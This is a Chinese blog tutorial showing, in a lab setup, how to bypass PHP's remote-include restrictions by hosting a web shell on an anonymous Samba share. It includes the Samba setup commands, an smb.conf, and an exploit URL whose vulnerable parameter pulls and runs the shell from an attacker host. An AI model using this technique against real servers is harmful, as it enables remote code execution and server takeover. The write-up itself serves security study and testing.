使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
使用字符串函数输出整数化的PHP版本号
Oct 09 PHP
别人整理的服务器变量:$_SERVER
Oct 20 PHP
配置Apache2.2+PHP5+CakePHP1.2+MySQL5运行环境
Apr 25 PHP
php foreach、while性能比较
Oct 15 PHP
php中经典方法实现判断多维数组是否为空
Oct 23 PHP
php 中的4种标记风格介绍
May 10 PHP
如何使用PHP批量去除文件UTF8 BOM信息
Aug 05 PHP
php使用curl检测网页是否被百度收录的示例分享
Jan 31 PHP
使用php的HTTP请求的库Requests实现美女图片墙
Feb 22 PHP
PHP实现简单搜歌的方法
Jul 28 PHP
Laravel下生成验证码的类
Nov 15 PHP
如何重写Laravel异常处理类详解
Dec 20 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
全国FM电台频率大全 - 24 贵州省
2020/03/11 无线电
PHP连接MongoDB示例代码
2012/09/06 PHP
JavaScript中的类继承
2010/11/25 Javascript
javascript分页代码(当前页码居中)
2012/09/20 Javascript
jquery ajax请求实例深入解析
2012/11/26 Javascript
jquery序列化表单去除指定元素示例代码
2014/04/10 Javascript
jQuery实现控制文字内容溢出用省略号(…)表示的方法
2016/02/26 Javascript
JavaScript实现阿拉伯数字和中文数字互相转换
2016/06/12 Javascript
详解angular用$sce服务来过滤HTML标签
2017/04/11 Javascript
Vue.js仿Metronic高级表格(二)数据渲染
2017/04/19 Javascript
微信小程序实现瀑布流布局与无限加载的方法详解
2017/05/12 Javascript
AngularJS select加载数据选中默认值的方法
2018/02/28 Javascript
nodejs实现套接字服务功能详解
2018/06/21 NodeJs
javascript触发模拟鼠标点击事件
2019/06/26 Javascript
jquery实现购物车基本功能
2019/10/25 jQuery
vue 组件开发原理与实现方法详解
2019/11/29 Javascript
koa中间件核心(koa-compose)源码解读分析
2020/06/15 Javascript
jquery实现简易验证插件封装
2020/09/13 jQuery
python基础教程之序列详解
2014/08/29 Python
Python中有趣在__call__函数
2015/06/21 Python
深入探究Django中的Session与Cookie
2017/07/30 Python
使用Python合成图片的实现代码(图片添加个性化文本,图片上叠加其他图片)
2020/04/30 Python
基于FME使用Python过程图解
2020/05/13 Python
python 如何上传包到pypi
2020/12/24 Python
用python对excel进行操作(读,写,修改)
2020/12/25 Python
微信端html5页面调用分享接口示例
2018/03/14 HTML / CSS
什么是JNDI的上下文?如何初始化JNDI上下文
2012/03/10 面试题
银行学习十八大感想
2014/01/11 职场文书
小学新教师培训方案
2014/02/03 职场文书
2014道德模范事迹材料
2014/02/16 职场文书
中国文明网向国旗敬礼活动精彩寄语2014
2014/09/27 职场文书
科技馆观后感
2015/06/08 职场文书
浅谈Redis存储数据类型及存取值方法
2021/05/08 Redis
业余无线电通联Q语
2022/02/18 无线电
java如何实现获取客户端ip地址的示例代码
2022/04/07 Java/Android
Python数据可视化之Seaborn的安装及使用
2022/04/19 Python